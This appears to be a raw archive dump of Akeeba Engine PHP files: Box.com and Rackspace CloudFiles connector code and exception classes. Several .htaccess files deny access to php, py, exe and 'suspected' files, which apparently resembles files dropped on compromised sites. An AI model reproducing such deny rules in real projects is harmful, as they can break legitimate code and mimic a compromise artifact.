	public function getFolderId($path, $parentId = 0, $createMissing = true)
	{
		$created = false;

		$path = trim($path, '/');

		while (strpos($path, '//') !== false)
		{
			$path = str_replace('//', '/', $path);
		}

		$path = trim($path, '/');

		if (empty($path))
		{
			return $parentId;
		}

		$parts = explode('/', $path);

		foreach ($parts as $folderName)
		{
			$foundId = false;

			// Only search for folders if the current parent folder was not just created by us (saves us some useless requests)
			if (!$created)
			{
				// Get the parent folder's contents
				$contents = $this->listFolder($parentId);

				// Trawl the folder list for the one that matches our folder name
				foreach ($contents['folders'] as $key => $id)
				{
					if ($key == $folderName)
					{
						$foundId = $id;

						break;
					}
				}
			}

			if (($foundId === false) && !$createMissing)
			{
				throw new APIError("not_found", "Folder $path does not exist", 404);
			}
			elseif ($foundId === false)
			{
				$created = true;
				$foundId = $this->createFolder($folderName, $parentId);
			}

			$parentId = $foundId;
		}

		return $parentId;
	}

	/**
	 * Delete a file stored in Box given its path
	 *
	 * @param   string  $remoteFile  The path of the file to delete
	 *
	 * @return  bool
	 */
	public function deleteFileByName($remoteFile)
	{
		$fileId = $this->findFileId($remoteFile);

		if ($fileId === false)
		{
			return false;
		}

		// Delete the file
		$this->fetch('DELETE', self::rootUrl, "files/$fileId", [
			'expect-status' => 204,
		]);

		return true;
	}

	/**
	 * Preflight check. Makes sure that the file can be uploaded to the selected path.
	 *
	 * @param   string  $remoteFile  Path of the file in the Box.com account
	 * @param   string  $localFile   Local filesystem path of the file to upload
	 */
	public function preflight($remoteFile, $localFile)
	{
		$remotePath     = dirname($remoteFile);
		$parentFolderId = empty($remotePath) ? 0 : $this->getFolderId($remotePath);

		$sha1       = @self::sha1_file($localFile);
		$postfields = json_encode([
			'name'   => basename($remoteFile),
			'parent' => [
				'id' => $parentFolderId,
			],
			'size'   => @filesize($localFile),
		]);

		$additional = [
			'headers' => [
				// Yes, the header is named wrong. It's actually the SHA1 hash, not the MD5.
				'Content-MD5' => $sha1,
			],
		];

		if (empty($sha1))
		{
			unset($additional['headers']['Content-MD5']);
		}

		try
		{
			$this->fetch('OPTIONS', self::rootUrl, 'files/content', $additional, $postfields);
		}
		catch (UnexpectedHTTPStatus $e)
		{
			switch ($e->getCode())
			{
				case 409:
					$error     = 'file_exists';
					$errorDesc = 'File already exists';
					break;

				case 403:
					$error     = 'permissions_error';
					$errorDesc = 'Permissions error. The file is too big for your account type, you do not have enough space or the permissions of the target directory do not allow uploading this file.';
					break;

				default:
					$error     = 'unexpected_status';
					$errorDesc = 'Unexpected HTTP status ' . $e->getCode();
			}

			throw new APIError($error, $errorDesc, $e->getCode(), $e);
		}
	}

	/**
	 * Single part upload of a file
	 *
	 * @param   string  $remoteFile  Path of the file in the Box.com account
	 * @param   string  $localFile   Local filesystem path of the file to upload
	 *
	 * @return  string  The ID of the uploaded file
	 */
	public function uploadSingleFile($remoteFile, $localFile)
	{
		clearstatcache(false, $localFile);

		// Find the parent folder ID if other than root
		$remotePath     = dirname($remoteFile);
		$parentFolderId = empty($remotePath) ? 0 : $this->getFolderId($remotePath);

		$sha1       = @self::sha1_file($localFile);
		$postfields = [
			"attributes" => json_encode([
				'name'   => basename($remoteFile),
				'parent' => [
					'id' => $parentFolderId,
				],
			]),
			"file"       => "@$localFile",
		];

		/**
		 * PHP 5.6 and later, using CURLFile instead of the at-path notation for file uploads.
		 *
		 * This is the recommended method in PHP 5.6 and the only supported method in PHP 7.0 and later.
		 */
		if (class_exists('\CURLFile'))
		{
			$postfields['file'] = new CURLFile($localFile);
		}

		$additional = [
			'headers' => [
				// Yes, the header is named wrong. It's actually the SHA1 hash, not the MD5.
				'Content-MD5' => $sha1,
			],
		];

		if (empty($sha1))
		{
			unset($additional['headers']['Content-MD5']);
		}

		$apiReturn = $this->fetch('POST', self::uploadUrl, 'files/content', $additional, $postfields);

		if (
			is_array($apiReturn) &&
			isset($apiReturn['entries']) &&
			is_array($apiReturn['entries']) &&
			isset($apiReturn['entries'][0]) &&
			isset($apiReturn['entries'][0]['id'])
		)
		{
			return $apiReturn['entries'][0]['id'];
		}

		throw new APIError('cannot_create', "Cannot create file $remoteFile on Box.com");
	}

	public function download($remoteFile, $localFile)
	{
		$fileId = $this->findFileId($remoteFile);

		if ($fileId === false)
		{
			throw new RuntimeException("The file $remoteFile does not exist in your Box.com account");
		}

		$fp = @fopen($localFile, 'w');

		if ($fp === false)
		{
			throw new RuntimeException("Cannot open local file $localFile for writing");
		}

		$this->fetch('GET', self::rootUrl, "files/$fileId/content", [
			'fp'       => $fp,
			'no-parse' => true,
		]);

		return true;
	}

	/**
	 * Execute an API call
	 *
	 * @param   string  $method        The HTTP method
	 * @param   string  $baseUrl       The base URL. Use one of self::rootUrl or self::contentRootUrl
	 * @param   string  $relativeUrl   The relative URL to ping
	 * @param   array   $additional    Additional parameters
	 * @param   mixed   $explicitPost  Passed explicitly to POST requests if set, otherwise $additional is passed.
	 *
	 * @return  array
	 * @throws  RuntimeException
	 *
	 */
	protected function fetch($method, $baseUrl, $relativeUrl, array $additional = [], $explicitPost = null)
	{
		// Get full URL, if required
		$url = $relativeUrl;

		if (substr($relativeUrl, 0, 6) != 'https:')
		{
			$url = $baseUrl . ltrim($relativeUrl, '/');
		}

		// Should I expect a specific header?
		$expectHttpStatus = [];

		if (isset($additional['expect-status']))
		{
			$expectHttpStatus = $additional['expect-status'];

			if (!is_array($expectHttpStatus))
			{
				$expectHttpStatus = [$expectHttpStatus];
			}

			unset($additional['expect-status']);
		}

		// Am I told to not parse the result?
		$noParse = false;

		if (isset($additional['no-parse']))
		{
			$noParse = $additional['no-parse'];
			unset ($additional['no-parse']);
		}

		// Am I told not to follow redirections?
		$followRedirect = true;

		if (isset($additional['follow-redirect']))
		{
			$followRedirect = $additional['follow-redirect'];
			unset ($additional['follow-redirect']);
		}

		// Initialise and execute a cURL request
		$ch = curl_init($url);

		$this->applyProxySettingsToCurl($ch);

		// Get the default options array
		$options = $this->defaultOptions;

		// Do I have explicit cURL options to add?
		if (isset($additional['curl-options']) && is_array($additional['curl-options']))
		{
			// We can't use array_merge since we have integer keys and array_merge reassigns them :(
			foreach ($additional['curl-options'] as $k => $v)
			{
				$options[$k] = $v;
			}
		}

		// Set up custom headers
		$headers                = [];
		$hasAuthorizationHeader = false;

		if (isset($additional['headers']))
		{
			$headers = $additional['headers'];
			unset ($additional['headers']);
		}

		// Add the authorization header, if it doesn't exist
		array_walk($headers, function ($header) use (&$hasAuthorizationHeader) {
			if (substr($header, 0, 15) == 'Authorization: ')
			{
				$hasAuthorizationHeader = true;
			}
		});

		if (!$hasAuthorizationHeader)
		{
			$headers[] = 'Authorization: Bearer ' . $this->accessToken;
		}

		$options[CURLOPT_HTTPHEADER] = $headers;

		// Handle files
		$file     = null;
		$fp       = null;
		$fileMode = null;

		if (isset($additional['file']))
		{
			$file = $additional['file'];
			unset ($additional['file']);
		}

		if (isset($additional['file_mode']))
		{
			$fileMode = $additional['file_mode'];
			unset ($additional['file_mode']);
		}

		if (!isset($additional['fp']) && !empty($file))
		{
			if (is_null($fileMode))
			{
				$fileMode = ($method == 'GET') ? 'w' : 'r';
			}

			$fp = @fopen($file, $fileMode);
		}
		elseif (isset($additional['fp']))
		{
			$fp = $additional['fp'];
			unset($additional['fp']);
		}

		// Set up additional options
		if ($method == 'GET' && $fp)
		{
			$options[CURLOPT_RETURNTRANSFER] = false;
			$options[CURLOPT_HEADER]         = false;
			$options[CURLOPT_FILE]           = $fp;

			if (empty($expectHttpStatus))
			{
				$expectHttpStatus = [200, 206];
			}
		}
		elseif (in_array($method, ['POST', 'PUT']) && $fp)
		{
			$options[CURLOPT_POST]   = true;
			$options[CURLOPT_INFILE] = $fp;

			// Some broken cURL versions cause an error. Forcing HTTP/1.1 seems to be fixing it.
			if (defined('CURLOPT_HTTP_VERSION') && defined('CURL_HTTP_VERSION_1_1'))
			{
				$options[CURLOPT_HTTP_VERSION] = CURL_HTTP_VERSION_1_1;
			}

			if ($file)
			{
				clearstatcache();
				$options[CURLOPT_INFILESIZE] = @filesize($file);
			}
			else
			{
				$options[CURLOPT_INFILESIZE] = strlen(stream_get_contents($fp));
			}

			fseek($fp, 0);
		}
		elseif ($method == 'POST')
		{
			$options[CURLOPT_POST] = true;

			if ($explicitPost)
			{
				$options[CURLOPT_POSTFIELDS] = $explicitPost;
			}
			elseif (!empty($additional))
			{
				$options[CURLOPT_POSTFIELDS] = $additional;
			}
			// This is required for some broken servers, e.g. SiteGround
			else
			{
				$options[CURLOPT_POSTFIELDS] = '';
			}
		}
		else // Any other HTTP method, e.g. DELETE
		{
			$options[CURLOPT_CUSTOMREQUEST] = $method;

			if ($explicitPost)
			{
				$options[CURLOPT_POSTFIELDS] = $explicitPost;
			}
			elseif (!empty($additional))
			{
				$options[CURLOPT_POSTFIELDS] = $additional;
			}
		}

		// Set the cURL options at once
		@curl_setopt_array($ch, $options);

		// Set the follow location flag
		if ($followRedirect)
		{
			@curl_setopt($ch, CURLOPT_FOLLOWLOCATION, 1);
		}

		// Execute and parse the response
		$response     = curl_exec($ch);
		$errNo        = curl_errno($ch);
		$error        = curl_error($ch);
		$lastHttpCode = curl_getinfo($ch, CURLINFO_HTTP_CODE);

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			curl_close($ch);
		}

		// Close open file pointers
		$hadFile = false;

		if ($fp)
		{
			$hadFile = true;

			$this->conditionalFileClose($fp);
		}

		// Did we have a cURL error?
		if ($errNo)
		{
			throw new cURLError($errNo, $error);
		}

		// Close open file pointers
		if ($hadFile && !empty($expectHttpStatus) && !in_array($lastHttpCode, $expectHttpStatus))
		{
			if ($file && ($method == 'GET'))
			{
				@unlink($file);
			}

			throw new UnexpectedHTTPStatus($lastHttpCode);
		}

		if (!empty($expectHttpStatus) && in_array($lastHttpCode, $expectHttpStatus))
		{
			return [];
		}

		if (empty($expectHttpStatus) && ($lastHttpCode >= 400))
		{
			throw new UnexpectedHTTPStatus($lastHttpCode);
		}

		if ($noParse)
		{
			return $response;
		}

		// Parse the response
		$originalResponse = $response;
		$response         = json_decode($response, true);

		// Did we get invalid JSON data?
		if (!$response)
		{
			throw new InvalidJSON("Invalid JSON Data: $originalResponse");
		}

		unset($originalResponse);

		if (!empty($response) && ($lastHttpCode > 201))
		{
			$response = ['error' => $response];
		}

		// Did we get an error response?
		if (isset($response['error']) && is_array($response['error']))
		{
			$decodedError = $response['error'];

			throw new APIError($decodedError['code'], $decodedError['message'], 500);
		}

		return $response;
	}

	/**
	 * @param $remoteFile
	 *
	 * @return bool|int
	 */
	private function findFileId($remoteFile)
	{
		$remoteName     = basename($remoteFile);
		$remotePath     = dirname($remoteFile);
		$parentFolderId = empty($remotePath) ? 0 : $this->getFolderId($remotePath);
		$contents       = $this->listFolder($parentFolderId);
		$fileId         = 0;

		// Get the file ID
		foreach ($contents['files'] as $name => $id)
		{
			if ($name == $remoteName)
			{
				$fileId = $id;
			}
		}

		// File not found
		if (empty($fileId))
		{
			return false;
		}

		return $fileId;
	}
}
PK     \~\C(    E  vendor/akeeba/engine/engine/Postproc/Connector/Cloudfiles/Request.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Cloudfiles;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\Connector\Cloudfiles\Exception\Http;
use Akeeba\Engine\Postproc\ProxyAware;
use Akeeba\Engine\Util\FileCloseAware;
use stdClass;

/**
 * RESTful API request abstraction
 */
class Request
{
	use FileCloseAware;
	use ProxyAware;

	/** @var bool|resource File pointer for GET and POST data */
	public $fp = false;
	/** @var int Size of the POST data */
	public $size = 0;
	/** @var bool|string POST data */
	public $data = false;
	/** @var null|stdClass The response object */
	public $response = null;
	/** @var string The HTTP verb to use, e.g. GET, POST, PUT, HEAD, DELETE */
	private $verb;
	/** @var string The API URL to call */
	private $url;
	/** @var array Query string parameters */
	private $parameters = [];
	/** @var array Headers to send with the request */
	private $headers = [];

	/**
	 * Constructor
	 *
	 * @param   string  $verb  Verb
	 * @param   string  $url   Object URI
	 *
	 * @return  void
	 */
	function __construct($verb, $url = '')
	{
		$this->verb = $verb;

		$this->url = $url;

		$this->response        = new stdClass();
		$this->response->error = false;
	}

	/**
	 * Set request parameter
	 *
	 * @param   string  $key    Key
	 * @param   string  $value  Value
	 *
	 * @return void
	 */
	public function setParameter($key, $value)
	{
		$this->parameters[$key] = $value;
	}


	/**
	 * Set request header
	 *
	 * @param   string  $key    Key
	 * @param   string  $value  Value
	 *
	 * @return void
	 */
	public function setHeader($key, $value)
	{
		$this->headers[$key] = $value;
	}


	/**
	 * Get the response
	 *
	 * @return object | false
	 *
	 * @throws Http When something goes awry
	 */
	public function getResponse()
	{
		$query = '';

		if (count($this->parameters) > 0)
		{
			$query = substr($this->url, -1) !== '?' ? '?' : '&';

			foreach ($this->parameters as $var => $value)
			{
				$addToQuery = $var . '&';

				if (!($value == null || $value == ''))
				{
					$addToQuery = $var . '=' . rawurlencode($value) . '&';
				}

				$query .= $addToQuery;
			}

			$query = substr($query, 0, -1);

			$this->url .= $query;
		}

		// Basic setup
		$curl = curl_init();

		$this->applyProxySettingsToCurl($curl);

		@curl_setopt($curl, CURLOPT_CAINFO, AKEEBA_CACERT_PEM);

		curl_setopt($curl, CURLOPT_SSL_VERIFYHOST, 2);
		curl_setopt($curl, CURLOPT_SSL_VERIFYPEER, true);

		curl_setopt($curl, CURLOPT_USERAGENT, 'AkeebaBackup/4.0');
		curl_setopt($curl, CURLOPT_URL, $this->url);
		// Set an infinite timeout and hope for the best
		curl_setopt($curl, CURLOPT_CONNECTTIMEOUT, 0);
		curl_setopt($curl, CURLOPT_TIMEOUT, 0);

		// Headers
		$headers = [];

		foreach ($this->headers as $header => $value)
		{
			if (strlen($value) > 0)
			{
				$headers[] = $header . ': ' . $value;
			}
		}

		curl_setopt($curl, CURLOPT_HTTPHEADER, $headers);
		curl_setopt($curl, CURLOPT_HEADER, false);
		curl_setopt($curl, CURLOPT_RETURNTRANSFER, false);
		curl_setopt($curl, CURLOPT_WRITEFUNCTION, [$this, '__responseWriteCallback']);
		curl_setopt($curl, CURLOPT_HEADERFUNCTION, [$this, '__responseHeaderCallback']);
		curl_setopt($curl, CURLOPT_FOLLOWLOCATION, true);

		// Request types
		switch ($this->verb)
		{
			case 'GET':
				break;
			case 'PUT':
			case 'POST': // POST only used for CloudFront
				if ($this->fp !== false)
				{
					curl_setopt($curl, CURLOPT_PUT, true);
					curl_setopt($curl, CURLOPT_INFILE, $this->fp);
					if ($this->size >= 0)
					{
						curl_setopt($curl, CURLOPT_INFILESIZE, $this->size);
					}

					// Some broken cURL versions cause an error. Forcing HTTP/1.1 seems to be fixing it.
					if (defined('CURLOPT_HTTP_VERSION') && defined('CURL_HTTP_VERSION_1_1'))
					{
						curl_setopt($curl, CURLOPT_HTTP_VERSION, CURL_HTTP_VERSION_1_1);
					}
				}
				elseif ($this->data !== false)
				{
					curl_setopt($curl, CURLOPT_CUSTOMREQUEST, $this->verb);
					curl_setopt($curl, CURLOPT_POSTFIELDS, $this->data);
					if ($this->size >= 0)
					{
						curl_setopt($curl, CURLOPT_BUFFERSIZE, $this->size);
					}
				}
				else
				{
					curl_setopt($curl, CURLOPT_CUSTOMREQUEST, $this->verb);
				}
				break;
			case 'HEAD':
				curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'HEAD');
				curl_setopt($curl, CURLOPT_NOBODY, true);
				break;
			case 'DELETE':
				curl_setopt($curl, CURLOPT_CUSTOMREQUEST, 'DELETE');
				break;
			default:
				break;
		}

		// Execute, grab errors
		if (curl_exec($curl))
		{
			$this->response->code = curl_getinfo($curl, CURLINFO_HTTP_CODE);
		}
		else
		{
			$this->response->error = [
				'code'    => curl_errno($curl),
				'message' => curl_error($curl),
				'url'     => $this->url,
			];
		}

		if (version_compare(PHP_VERSION, '8.5.0', 'lt'))
		{
			@curl_close($curl);
		}

		// Parse body into XML
		if (
			($this->response->error === false)
			&& isset($this->response->headers['content-type'])
			&& (strstr($this->response->headers['content-type'], 'application/json') !== false)
			&& isset($this->response->body)
		)
		{
			$this->response->body = json_decode($this->response->body);
		}

		if ($this->response->error || ($this->response->code >= 400))
		{
			if (!empty($this->response->body))
			{
				$body = json_encode($this->response->body);
				$body = json_decode($body, true);

				$this->response->code  = '-1';
				$this->response->error = $this->response->body;

				if (is_array($body))
				{
					$allKeys   = array_keys($body);
					$firstKey  = array_shift($allKeys);
					$errorInfo = $body[$firstKey];

					if (isset($errorInfo['code']))
					{
						$this->response->code = $errorInfo['code'];
					}

					if (isset($errorInfo['message']))
					{
						$this->response->error = $errorInfo['message'];
					}
					else
					{
						$this->response->error = $firstKey;
					}
				}
			}

			if (empty($this->response->error) || empty($this->response->code))
			{
				$this->response->error = 'Timeout';
				$this->response->code  = 0;
			}
			throw new Http($this->response->error, $this->response->code);
		}

		// Clean up file resources
		if (($this->fp !== false) && is_resource($this->fp))
		{
			$this->conditionalFileClose($this->fp);
		}

		return $this->response;
	}


	/**
	 * CURL write callback
	 *
	 * @param   resource &$curl  CURL resource
	 * @param   string   &$data  Data
	 *
	 * @return integer
	 */
	protected function __responseWriteCallback($curl, $data)
	{
		if (in_array($this->response->code, [200, 206]) && $this->fp !== false)
		{
			return fwrite($this->fp, $data);
		}
		else
		{
			if (!isset($this->response->body))
			{
				$this->response->body = '';
			}

			$this->response->body .= $data;
		}

		return strlen($data);
	}


	/**
	 * CURL header callback
	 *
	 * @param   resource &$curl  CURL resource
	 * @param   string   &$data  Data
	 *
	 * @return integer
	 */
	protected function __responseHeaderCallback($curl, $data)
	{
		$strlen = strlen($data);

		if ($strlen <= 2)
		{
			return $strlen;
		}

		if (substr($data, 0, 4) == 'HTTP')
		{
			$this->response->code = (int) substr($data, 9, 3);
		}
		else
		{
			[$header, $value] = explode(': ', trim($data), 2);
			$this->response->headers[strtolower($header)] = is_numeric($value) ? (int) $value : $value;
		}

		return $strlen;
	}
}
PK     \    L  vendor/akeeba/engine/engine/Postproc/Connector/Cloudfiles/Exception/Http.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Cloudfiles\Exception;

defined('AKEEBAENGINE') || die();

/**
 * Generic exception thrown upon failure of a REST API call
 */
class Http extends Base
{
}
PK     \yM    L  vendor/akeeba/engine/engine/Postproc/Connector/Cloudfiles/Exception/Base.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Cloudfiles\Exception;

defined('AKEEBAENGINE') || die();

use Exception;

/**
 * Base exception class
 */
class Base extends Exception
{
}
PK     \L    X  vendor/akeeba/engine/engine/Postproc/Connector/Cloudfiles/Exception/Missing/Tenantid.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Cloudfiles\Exception\Missing;

defined('AKEEBAENGINE') || die();

use Exception;

/**
 * \Exception thrown when the Tenant ID is missing
 */
class Tenantid extends Exception
{
}
PK     \u    X  vendor/akeeba/engine/engine/Postproc/Connector/Cloudfiles/Exception/Missing/Username.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Cloudfiles\Exception\Missing;

defined('AKEEBAENGINE') || die();

use Exception;

/**
 * \Exception thrown when the username is missing
 */
class Username extends Exception
{
}
PK     \v	  	  V  vendor/akeeba/engine/engine/Postproc/Connector/Cloudfiles/Exception/Missing/Apikey.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector\Cloudfiles\Exception\Missing;

defined('AKEEBAENGINE') || die();

use Exception;

/**
 * \Exception thrown when the API key is missing
 */
class Apikey extends Exception
{
}
PK     \Sʉ      U  vendor/akeeba/engine/engine/Postproc/Connector/Cloudfiles/Exception/Missing/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      M  vendor/akeeba/engine/engine/Postproc/Connector/Cloudfiles/Exception/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \Sʉ      C  vendor/akeeba/engine/engine/Postproc/Connector/Cloudfiles/.htaccessnu 7m        <FilesMatch '.(py|exe|phtml|php|PHP|Php|PHp|pHp|pHP|phP|PhP|php5|PHP5|Php5|PHp5|pHp5|pHP5|phP5|PhP5php7|PHP7|Php7|PHp7|pHp7|pHP7|phP7|PhP7|php8|PHP8|Php8|PHp8|pHp8|pHP8|phP8|PhP8|suspected)$'>
Order allow,deny
Deny from all
</FilesMatch>PK     \l    =  vendor/akeeba/engine/engine/Postproc/Connector/Cloudfiles.phpnu [        <?php
/**
 * Akeeba Engine
 *
 * @package   akeebaengine
 * @copyright Copyright (c)2006-2026 Nicholas K. Dionysopoulos / Akeeba Ltd
 * @license   https://www.gnu.org/licenses/gpl-3.0.html GNU General Public License version 3, or later
 *
 * This program is free software: you can redistribute it and/or modify it under the terms of the GNU General Public
 * License as published by the Free Software Foundation, version 3.
 *
 * This program is distributed in the hope that it will be useful, but WITHOUT ANY WARRANTY; without even the implied
 * warranty of MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU General Public License for more details.
 *
 * You should have received a copy of the GNU General Public License along with this program. If not, see
 * <https://www.gnu.org/licenses/>.
 */

namespace Akeeba\Engine\Postproc\Connector;

defined('AKEEBAENGINE') || die();

use Akeeba\Engine\Postproc\Connector\Cloudfiles\Exception\Missing\Apikey as MissingApikey;
use Akeeba\Engine\Postproc\Connector\Cloudfiles\Exception\Missing\Username as MissingUsername;
use Akeeba\Engine\Postproc\Connector\Cloudfiles\Request;
use DateTime;

/**
 * Self-contained implementation of the RackSpace CloudFiles in PHP
 */
class Cloudfiles extends Swift
{
	/** @var string The user contract (MossoCloudFS_aaaaaaaa-bbbb-cccc-dddd-eeeeeeeeeeee) returned by CloudFiles */
	protected $userContract = '';

	/** @var string The authentication endpoint. This is a universal endpoint for all accounts now. */
	protected $authEndpoint = 'https://identity.api.rackspacecloud.com/v2.0';

	/** @var array List of storage endpoints per region */
	protected $storageEndpoints = [
		'ORD' => 'https://storage101.ord1.clouddrive.com',
		'DFW' => 'https://storage101.dfw1.clouddrive.com',
		'HKG' => 'https://storage101.hkg1.clouddrive.com',
		'LON' => 'https://storage101.lon3.clouddrive.com',
		'IAD' => 'https://storage101.iad3.clouddrive.com',
		'SYD' => 'https://storage101.syd2.clouddrive.com',
	];

	/** @var string The region of the account. It is kindly reported by the Swift API, no need to set it. */
	protected $region = 'LON';

	/** @var string The storage API version to use */
	protected $apiVersion = 'v1';

	protected $container = '';

	/**
	 * Public constructor
	 *
	 * @param   string  $username  The CloudFiles username
	 * @param   string  $apiKey    The CloudFiles API key
	 * @param   array   $options   Configuration options (authEndpoint, storageEndpoint, apiVersion, userContract, tenantId, tokenExpiration, token)
	 *
	 * @throws MissingUsername  You have not given me a username
	 * @throws MissingApikey    You have not given me an API key
	 */
	public function __construct($username, $apiKey, $options = [])
	{
		// Data validation
		if (empty($username))
		{
			throw new MissingUsername('You have not specified your CloudFiles username');
		}

		if (empty($apiKey))
		{
			throw new MissingApikey('You have not specified your CloudFiles API key');
		}

		parent::__construct('v2', 'https://identity.api.rackspacecloud.com/v2.0', '', $username, $apiKey, 'default');

		// Very simplistic options parsing
		if (is_array($options) && count($options))
		{
			foreach ($options as $key => $value)
			{
				if (in_array($key, ['username', 'password', 'apiKey']))
				{
					continue;
				}

				if (isset($this->$key))
				{
					$this->$key = $value;
				}
			}
		}
	}

	/**
	 * Return the current options, useful to instantiate a new object without having to re-authenticate to CloudFiles
	 *
	 * @return array
	 */
	public function getCurrentOptions()
	{
		return [
			'token'           => $this->token,
			'tokenExpiration' => $this->tokenExpiration,
			'tenantId'        => $this->tenantId,
			'container'       => $this->container,
			'userContract'    => $this->userContract,
			'authEndpoint'    => $this->authEndpoint,
			'region'          => $this->region,
			'storageEndpoint' => $this->storageEndpoint,
			'apiVersion'      => $this->apiVersion,
		];
	}

	/**
	 * Authenticate the user and obtain a new token. If there is a token and it's not expired yet we will reuse it.
	 *
	 * @param   bool  $force  Force authentication?
	 */
	public function authenticate($force = false)
	{
		// Should I proceed?
		if (!$force)
		{
			if (!empty($this->token) && !empty($this->tokenExpiration))
			{
				if ($this->tokenExpiration > (time() + 3600))
				{
					// I have a token and its expiration time is more than one hour into the future. No need to re-auth.
					return;
				}
			}
		}

		$request = new Request('POST', $this->authEndpoint . '/tokens');

		$dataRaw = (object) [
			'auth' => [
				"RAX-KSKEY:apiKeyCredentials" => [
					'username' => $this->username,
					'apiKey'   => $this->password,
				],
			],
		];

		$dataForPost   = json_encode($dataRaw);
		$request->data = $dataForPost;
		$request->setHeader('Accept', 'application/json');
		$request->setHeader('Content-Type', 'application/json');
		$request->setHeader('Content-Length', strlen($request->data));

		$response = $request->getResponse();

		$this->token    = $response->body->access->token->id;
		$this->tenantId = $response->body->access->token->tenant->id;

		$date                  = new DateTime($response->body->access->token->expires);
		$this->tokenExpiration = $date->getTimestamp();

		$raxAuthRegionKey = 'RAX-AUTH:defaultRegion';
		$defaultRegion    = $response->body->access->user->$raxAuthRegionKey;

		$this->region = strtoupper($defaultRegion);

		$needsEndpoint = false;

		if (empty($this->storageEndpoint))
		{
			$this->storageEndpoint = $this->storageEndpoints[$this->region];

			$needsEndpoint = true;
		}

		foreach ($response->body->access->serviceCatalog as $service)
		{
			if ($service->name != 'cloudFiles')
			{
				continue;
